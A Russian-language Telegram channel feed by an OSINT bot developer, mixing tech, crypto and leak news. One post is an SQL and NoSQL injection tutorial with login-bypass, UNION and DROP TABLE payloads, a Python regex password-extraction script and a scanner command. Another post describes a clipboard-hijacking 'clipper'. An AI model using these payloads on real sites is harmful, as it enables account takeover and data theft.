Салют! На связи nosint.

Многие знают меня как модератора usersbox.chat, но с другой стороны меня ещё почти никто не видел.

Пора это исправить.

Я занимаюсь автоматизацией, Telegram-экосистемой и разведкой данных.
За моими плечами:

Создание White Search – удобного инструмента для быстрого поиска информации.

Более 80.000 приглашенных людей в сферу “osint-ботов”.

intelpad – это мой личный блокнот.
Здесь будут мои мысли о технологиях, новости из мира OSINT и разработки, новости Telegram, полезные инсайды и, возможно, кусочки кода для своих.

Я НЕ выступаю в роли «гаранта», НЕ занимаюсь скамом, разоблачением личности и прочей белебердой.

Добро пожаловать!

В TON заносят полмиллиарда. Причём не в TON, а через TON.

Libre запускает Telegram Bond Fund – токенизированные облигации Telegram на $500 млн, теперь на нашем родном блокчейне.
5% годовых, классическая доходность, только в обёртке из смарт-контрактов и ончейн-залогов 🤣

По сути, можно будет купить кусочек долга Telegram и использовать его как залог в DeFi. Официально для аккредитованных инвесторов, не для нас с вами, но звучит уже по-взрослому.
Начинается заход жиробасов и любителей кока-колы. Сторонитесь!

Смешно, что в Telegram можно запускать облигации на полмиллиарда, но нельзя написать слово «рассылка» без риска отлететь в вечный сб 😁
Про шлюхоботов и анти-спам систему тг можно даже не говорить…

t.me/intelpad

Без лица, без подписи – в поле залетел новый бот. Выдаёт много и уверенно. Не «старый», не «этичный». Просто появился и сразу в продакшн 😁

Никаких платных подписок, рассылок, каналов, интеграций с маркетингом – просто голая выдача. Разве что реферальная система введена 😀
Зачем, для кого, откуда - неизвестно.
Выгоды для владельцев нет и не будет, если бот останется таким, какой он сейчас.
Пока что это просто странно, нет возможности скрыть свои данные, нет понятия, откуда он появился и кто владелец. Обычно за таким идёт какая-нибудь грязь. Гадать не будем.

Ботоводы уже начали оборачивать его в свои истории. Кто-то цепляет поверх доп-функции, кто-то уже копит не один десяток тысяч рефералов. Началось движение 🤪

Ссылку не кину, бот не назову – думаю, сами догадаетесь.
Если нет – ну и не надо.

А что вы думаете по поводу этого бота? 🧐

t.me/intelpad

XAI спалила API-ключи от ИИ SpaceX и Tesla.

Утечка от разработчика xAI: в паблик попали ключи доступа к закрытым LLM от SpaceX и Tesla.
Всё благодаря тому, что один из девов засунул .env с токенами прямиком в GitHub.

По словам исследователей, утекли ключи к высокоуровневому API, который, вероятно, связан с автопилотом и проприетарными данными. Запуск ракеты через curl
не исключён 😁

xAI, конечно, ключи уже отозвала, но осадочек остался. Особенно у Илона.

Удивительно, как компании на триллион долларов умудряются проворачивать такое в 2025 году.
Но зато у нас теперь есть новый фреймворк Zero-Day Driven Development))))

t.me/intelpad

Когда бог троллинга спустился на землю и устроил извержение.

В 1974 году один чел с уровнем креативности «Илон Маск на максималках» решил, что 1 апреля должно войти в историю. Встречайте: Оливер «Порки» Бикар - человек, который ПОДЖЁГ ВУЛКАН.

Ну как «вулкан»… Спящий, мирный, пушистый Эджкомб на Аляске. Но Порки подумал: «А чё бы не сделать шоу?» - и забросил на вершину горы кучу покрышек. Потом на вертолёте (да, он арендовал вертолёт, это уровень) залез туда, поджёг резину, и вуаля - извержение, дым и паника в городе.

Береговая охрана в шоке, сирены воют, все кричат: «МЫ ВСЁ УМРЁМ!» А сверху, на снегу, аккуратненько выложено: APRIL FOOL 🤡

Полицию он заранее предупредил, но береговую охрану - неее, пускай попотеют 😁

Этот чел не просто поджёг шины. Он поджёг всю систему. Если бы была премия «За вклад в троллинг человечества», ему дали бы пожизненно.

t.me/intelpad

С Днём Победы, друзья!

Сегодня, 9 мая, мы вспоминаем тех, кто отстоял свободу и мир. Их мужество, стойкость и жертвы навсегда останутся в нашей памяти. Честь и благодарность ветеранам — за мирное небо над головой!

И по случаю праздника хочу поделиться новостью: я запустил сайт https://intelpad.ru — он служит удобным переходником в бота White Search.

С праздником Великой Победы! Помним. Гордимся.

В Казахстане легализуют коноплю. Но не радуйтесь раньше времени.

Это не про джа и бонги, а про «техническую коноплю» – без ТГК и кайфа. МВД разъяснило: хотят выращивать её для текстиля, стройматериалов и прочих полезных штук, но не для весёлых вечеров на балконе.

Будет жёсткий контроль, лицензии, возможно, даже форма и отчёты. По сути - попытка превратить сорняк в экспортный ресурс. И да, вырастить втихую «не техническую» не получится: за этим будут следить как за границей госбюджета.

Казахстан пытается зайти в агроиндустрию 2.0. Но звучит так, будто просто хотят переупаковать поле в стартап.

Скоро будем слушать про «экологичный бетон из стебля» и «конопляные кроссовки для устойчивого будущего». Ну а пока ждём: может, и нам останется хоть пара листиков.

t.me/intelpad

SQL и NoSQL инъекции. Теория и практика

Чем отличаются SQL и NoSQL базы, как работают инъекции и как через них можно получить доступ к данным, обойти авторизацию или подобрать пароль к админке.

SQL - это язык, с помощью которого мы управляем реляционными базами данных. Всё хранится в таблицах.

Пример:

users
| id | name | email |
|----|-------|---------------|
| 1 | intelpad | intelpad@mail.ru |

NoSQL - нереляционные базы. Самый популярный пример — MongoDB. Данные чаще всего хранятся в виде JSON-документов:

{
"name": "intelpad",
"email": "intelpad@mail.ru"
}

JSON - это просто текстовый формат, основанный на JavaScript, в котором удобно хранить и передавать данные.

Что такое SQL-инъекция?

Это уязвимость, при которой злоумышленник может внедрить свой SQL-код в запрос, выполняемый сервером. Это позволяет, например, получить все данные, обойти логин, удалить таблицу и т.д

Где искать:

/login
/search
/register
/users
/articles

Примеры SQL-инъекций

Удаление таблицы

intelpad'; DROP TABLE users; --

Если ввод напрямую вставляется в SQL-запрос без фильтрации - таблица users будет удалена.

Обход авторизации

' OR 1=1 --

Если SQL не параметризирован, это условие всегда будет истинным - и авторизация будет пройдена без пароля.

Что делать дальше?

Когда мы нашли уязвимость - можно применять пэйлоады:

Вывести все данные:
' UNION SELECT * FROM users --

Изменить пароль:
UPDATE users SET password='newpass' WHERE username='admin'

NoSQL-инъекция

Пример для MongoDB.

Если backend ожидает JSON, а мы можем его подменить - можем внедрить операторы вроде $regex.

Пошаговый взлом учётки через NoSQL Injection

1. Понимаем, что сервер принимает JSON:

{
"username": "admin",
"password": "123456"
}

2. Подбираем первую букву пароля через $regex:

{
"username": "admin",
"password": { "$regex": "^a" }
}

Если в ответе есть, например, "Welcome admin" - значит пароль начинается на «a»

3. Проверяем длину пароля:

{
"username": "admin",
"password": { "$regex": "^.{7}$" }
}

Если сервер не возвращает ошибку - длина пароля 7 символов.

4. Подбор всех символов по порядку:

#Пример на Python:

import string
import requests

url = "http://site.com/login"
password = ""
possible_characters = string.ascii_letters + string.digits + string.punctuation
password_length = 8

for position in range(1, password_length + 1):
    for char in possible_characters:
        regex = f"^{password + char}"
        data = {
            "username": "admin",
            "password": {"$regex": regex}
        }
        response = requests.post(url, json=data)
        if "Welcome" in response.text:
            password += char
            print(f"Password so far: {password}")
            break

print(f"Final password: {password}")

Другие типы NoSQL-инъекций

Внедрение синтаксиса - полный контроль над запросом

Внедрение операторов - использование логики ||, && и т.д

JavaScript-инъекция - выполнение кода внутри БД (актуально для MongoDB)


Пример уязвимости на сайте

Запрос:

https://site.com/product/search?category=

Вставляем payload:

'fizzy' && 1 && 'x

Если сервер не фильтрует ввод - вернёт все товары.

MongoDB payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/MongoDB.txt

Общие NoSQL payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/NoSQL.txt

sqlmap:
https://github.com/sqlmapproject/sqlmap

nosqli:
https://github.com/Charlie-belmer/nosqli

SQLi Payload List:
https://github.com/payloadbox/sql-injection-payload-list

Пример команды:

nosqli scan -t http://localhost:4000/user/lookup?username=test

t.me/intelpad

89 миллионов Steam-аккаунтов утекли? 😱

Пугали - будто в даркнете продают базы Steam. Кричали - утечка, взлом, двухфакторка, паника. Но, как выяснилось, это даже не утечка. Это скучные смс логи, и в худшем случае - приглашение на фишинг.

На форуме появился некто Machine1337 и заявил: вот вам 89 миллионов записей, берите за $5000. СМИ подхватили. Пользователи напряглись. Эксперты посмотрели - и угарнули.

По словам специалиста Кристофера Кунца, всё, что слил хакер - это:

старые коды для входа (действовали 15 минут),

статусы доставки (типа «дошло» или «не дошло»),

номера телефонов (без логинов и паролей),

метаданные и стоимость отправки SMS.

Ни аккаунтов, ни паролей, ни даже связки «номер - пользователь Steam»
Просто сухая статистика - идеальная приманка для фишинга, но не для взлома.

Виновата ли Twilio? Нет - Valve говорит, что никогда не использовала её для Steam. Сама Valve заявила: их системы целы, никаких проникновений. Просто кто-то слил старые сообщения, которые когда-то пришли игрокам.

Так что нет, ваши 2000 часов в Dota 2 не украли.
Но будьте начеку - кто-то может попробовать 🤫

t.me/intelpad

Ну штош. Арестовали…

Владимир Смеркис, бывший глава Binance в СНГ и сооснователь Blum – теперь не просто «бывший», а фигурант уголовного дела по ч. 4 ст. 159 УК РФ – мошенничество в особо крупном размере. По заявлению суда, речь идёт о деяниях, совершённых организованной группой. Санкция – до 10 лет.

Интересно, что за несколько часов до появления инфы об аресте, команда Blum бодро отчиталась: мол, Смеркис «не участвует в разработке», «вышел из проекта», и вообще – был просто директором по маркетингу. Совпадение?

Если кратко про биографию:
— В 2022 возглавил Binance в СНГ
— В 2023 ушёл, после чего Binance продала российский бизнес
— В 2024 запустил Blum - криптоигру/биржу в Telegram
— В 2025 - уже 92 млн пользователей и $5 млн инвестиций
— А теперь - уголовное дело и следственный изолятор

Криптокомьюнити шепчет, что дело может быть связано с его прошлыми проектами – The Token Fund (минус $8 млн) и Tokenbox (ещё минус $7 млн). Типичная схема: токен за токен, обещания x10 и тишина. Ну а дальше – вы сами знаете 🤭

Сейчас Blum – это аналог нашумевшего хомяка, где тыкаешь экран, собираешь монетки и ждёшь токен. Только вот листинг этого токена всё не наступает. Кто-то ещё верит? 🫠

В общем, начинается 10 лет прикура. Или меньше – если договорится 💸

Lumma отлетел. Microsoft, ФБР и ещё полмира устроили зачистку

13 мая случилось то, чего многие ждали: Lumma Stealer, топовый инфостилер, оказался без связи, без панели и без почвы под ногами. Его не взломали – его официально прикрыли.

В операции участвовали все, кто мог: Microsoft, Минюст США, Европол, ESET, Cloudflare, JC3 (Япония) и ещё с десяток партнёров. Под раздачу попало 2300+ доменов, связанные с Lumma. В тот же день американцы отжали панельку управления стиллером, через которую его раздавали в аренду.

Lumma = MaaS (Malware-as-a-Service)
Инструмент работал по подписке за $250–$1000. Воровал всё подряд: пароли, куки, крипту, банковские данные, историю браузера. Основные цели – Chromium-браузеры (Chrome, Edge и т.д.). Распространялся через GitHub-комменты, дипфейк-сайты, рекламу с троянами и фишинг.

394К заражённых машин – только за март-май.
Cloudflare говорит, что Lumma активно юзал их инфраструктуру для проксирования трафика. Когда стало жарко, они включили Turnstile – чтобы хотя бы ботам стало чуть сложнее.

Лидер стилеров в 2025-м
По данным IBM X-Force:

+12% к объёму логов в даркнете;
+84% рост поставок стилеров через фишинг;
Засветка в атаках на PowerSchool, HotTopic, Snowflake;
Даже BGP-инциденты, как у Orange Spain — тоже не без Lumma.

t.me/intelpad

Клипер под капотом: как воруют крипту, почту и деньги за 5 минут на коленке.

Кто давно в теме - знает: клипер не вчера появился. Маленький скрипт, который сидит в фоне, следит за буфером и по команде меняет адреса, почты, карты и всё, что можно монетизировать.

— Скопировал адрес криптокошелька? Будет чужой.
— Копируешь почту? Уже другая.
— Номер карты? Спокойно вставляется «корректный» 🤭

Работает бесшумно, без окон и уведомлений.
Чел думает: «Я сам вставил». А на самом деле - не совсем сам 😁

Я записал видео, где показал, как это работает.
Написано на питоне. В 70 строк. Просто чтобы напомнить:
всё гениальное – максимально тупое.

Что делает клипер:

— Следит за буфером
— Ловит по всё, что похоже на адрес, почту или карту, ну или другие заданные данные
— Молча меняет на «своё»

И это не какой-то там нольдэй. Это базовый функционал, который до сих пор уносит крипту у тех, кто просто невнимательно нажал ctrl+c + ctrl+v 🤥

t.me/intelpad

19:00 — Павел Дуров и Илон Маск подписались друг на друга в соцсети X.
20:00 — Telegram и Grok AI объединяются. Совпадение? 🤔

У Дурова теперь единственная подписка — Илон Маск.
У Маска — подписка номер 785: Павел.
X-романтика, как она есть 😁

Сегодня объявлено о партнёрстве Telegram и xAI – нейросетевого стартапа Маска.

Что в сухом остатке:

— Telegram получает $300 млн
— Ещё 50% выручки от подписок xAI, оформленных через Telegram
— Grok встроят прямо в интерфейс Telegram

Что будет уметь Grok в Telegram:

— Закреплённый чат для общения с ИИ
— Ответы прямо через строку поиска
— Редактирование и переформатирование сообщений
— Сводки по PDF и ссылкам
— Модерация групп и фактчекинг в каналах
— Создание анимированных стикеров и аватаров с ИИ

А ведь ещё недавно нейросети просто дописывали сказки и раскрашивали фото бабушек… 🫣

Теперь – модерируют чаты, проверяют факты и анализируют документы.
Лето будет жарким. И, возможно, немного машинным.

t.me/intelpad